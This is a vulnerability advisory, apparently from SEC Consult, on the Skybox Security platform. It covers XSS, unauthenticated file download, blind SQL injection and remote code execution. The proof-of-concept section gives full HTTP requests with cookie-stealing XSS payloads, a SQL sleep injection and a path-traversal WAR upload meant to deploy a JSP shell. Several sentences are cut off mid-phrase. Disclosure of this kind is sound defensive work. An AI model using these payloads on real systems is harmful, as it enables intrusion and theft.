Vendor description:


"Skybox Security provides cutting-edge risk analytics for enterprise security

management. Our solutions give you complete network visibility, help you

eliminate attack vectors, and optimize your security management processes.

Protect the network and the business."



Business recommendation:


Attackers are able to perform Cross-Site Scripting and SQL Injection attacks

against the Skybox platform. Furthermore, it is possible for

unauthenticated attackers to download arbitrary files and execute arbitrary



SEC Consult recommends the vendor to conduct a comprehensive security

analysis, based on security source code reviews, in order to identify all

available vulnerabilities in the Skybox platform and increase the security

of its customers.


Vulnerability overview/description:


1) Multiple Reflected Cross-Site Scripting Vulnerabilities

2) Multiple Stored Cross-Site Scripting Vulnerabilities

3) Arbitrary File Download and Directory Traversal Vulnerability

4) Blind SQL Injection Vulnerability

5) Remote Unauthenticated Code Execution


Proof of concept:


1) Multiple Reflected Cross-Site Scripting Vulnerabilities

Multiple scripts are prone to reflected Cross-Site Scripting attacks.

The following example demonstrates this issue with the

service VersionRepositoryWebService:

POST /skyboxview/webservice/services/VersionRepositoryWebService HTTP/1.0
Content-type: text/plain
User-Agent: Axis/1.4
Host: localhost:8282
SOAPAction: ""
Content-Length: 863
<?xml version="1.0" encoding="UTF-8"?><soapenv:Envelope xmlns:soapenv="" xmlns:xsd="" xmlns:xsi=""><soapenv:Body><ns1:checkVersion soapenv:encodingStyle="" xmlns:ns1="http://com/skybox/view/webservice/versionrepositoryc4f85&quot;&gt;&lt;a xmlns:a=&apos;;&gt;&lt;a:body onload=&apos;alert(1)&apos;/&gt;&lt;/a&gt;9884933253b"><components soapenc:arrayType="soapenc:string[1]" xsi:type="soapenc:Array" xmlns:soapenc=""><components xsi:type="soapenc:string">Application</components></components><os xsi:type="soapenc:string" xmlns:soapenc="">windows-64</os><currentVersion xsi:type="soapenc:string" xmlns:soapenc="">7.0.601</currentVersion></ns1:checkVersion></soapenv:Body></soapenv:Envelope>


Other scripts and parameters, such as the parameter status of the login script

(located at https:// localhost:444/login.html) are affected as well. The

following request demonstrates this issue:

https:// localhost:444/login.html?status=%27%3C/script%3E%3Cscript%3Ealert%28document.cookie%29%3C/script%3E


2) Multiple Stored Cross-Site Scripting Vulnerabilities

Multiple fields of the Skybox Change Manager, which can be accessed at

https:// localhost:8443/skyboxview/, are prone to stored Cross-Site Scripting

attacks. For example when creating a new ticket, the title can be misused

to insert JavaScript code. The following request to the server demonstrates

the issue:

POST /skyboxview/webskybox/tickets HTTP/1.1
Host: localhost:8443
7|0|18|https://localhost:8443/skyboxview/webskybox/|272....5E|com.skybox.view.gwt.client.service.TicketsService|createAccessChangeTicket||com.skybox.view.transfer.modelview.ChangeRequestGraph/1577593632|com.skybox.view.transfer.netmodel.phases.BasePhaseOperation/3921542662|java.util.Collection|com.skybox.view.transfer.netmodel.PhaseDefinitionId/3246549697|java.lang.String/2004016611||com.skybox.view.transfer.netmodel.TicketWorkflowId/3953158119|com.skybox.view.transfer.netmodel.ConfigurationItemId/1448062761|||skyboxview|test"><img src=yy onerror=alert(document.cookie) >|java.util.ArrayList/41

Other fields, like "Comments" and "Description", are affected as well.


3) Arbitrary File Download and Directory Traversal Vulnerability

Skybox Change Manager allows to upload and download attachments for tickets.

The download functionality can be exploited to download arbitrary files. No

authentication is required to exploit this vulnerability. The following

request demonstrates the issue:

POST /skyboxview/webskybox/attachmentdownload HTTP/1.1
Host: localhost:8443

The script /skyboxview/webskybox/filedownload is also affected by the same



Note: The upload functionality can also be used to upload files without



4) Blind SQL Injection Vulnerability

Arbitrary SQL queries can be inserted into the service VersionWebService. The

following request demonstrates this issue with a simple sleep statement:

POST https:// localhost:8443/skyboxview/webservice/services/VersionWebService HTTP/1.1

Accept-Encoding: gzip,deflate

Content-Type: text/xml;charset=UTF-8

SOAPAction: ""

Content-Length: 619

Host: localhost:8443

Connection: Keep-Alive

User-Agent: Apache-HttpClient/4.1.1 (java 1.5)

<soapenv:Envelope xmlns:xsi="" xmlns:xsd="" xmlns:soapenv="" xmlns:ver="http://com/skybox/view/webservice/version">



<ver:getUserLockInSeconds soapenv:encodingStyle="">

<username xsi:type="soapenc:string" xmlns:soapenc="">admin'+(select * from (select(sleep(20)))a)+'</username>





No authentication is required to exploit this vulnerability.


5) Remote Unauthenticated Code Execution

It is possible to upload WAR files, containing for example JSP files, which

will be automatically deployed by the Skybox appliance. This way, it is

possible to upload a JSP shell which enables an attacker to execute arbitrary

commands running in the same context as the web server running (by default


The following request to the Skyboxview update service (located at

https:// localhost:9443) uploads a JSP file. It will be uploaded to

/opt/skyboxview/thirdparty/jboss/server/web/deploy where it is automatically

extracted and deployed at


POST /skyboxview-softwareupdate/services/CollectorSoftwareUpdate HTTP/1.1

Accept-Encoding: gzip,deflate

SOAPAction: ""

Content-Type: multipart/related; type="text/xml";



MIME-Version: 1.0

User-Agent: Jakarta Commons-HttpClient/3.1

Host: localhost:9443

Content-Length: 1944


Content-Type: text/xml; charset=UTF-8

Content-Transfer-Encoding: 8bit

Content-ID: <>

<soapenv:Envelope xmlns:xsi="" xmlns:xsd="" xmlns:soapenv="" xmlns:sof="http://com/skybox/view/agent/webservice/softwareupdate">



<sof:uploadPatch soapenv:encodingStyle="">

<patchName xsi:type="soapenc:string" xmlns:soapenc="">../../thirdparty/jboss/server/web/deploy/helloworld2.war</patchName>

<patchData href="cid:helloworld.war"/>





Content-Type: application/octet-stream; name=helloworld.war

Content-Transfer-Encoding: binary

Content-ID: <helloworld.war>

Content-Disposition: attachment; name="helloworld.war"; filename="helloworld.war"
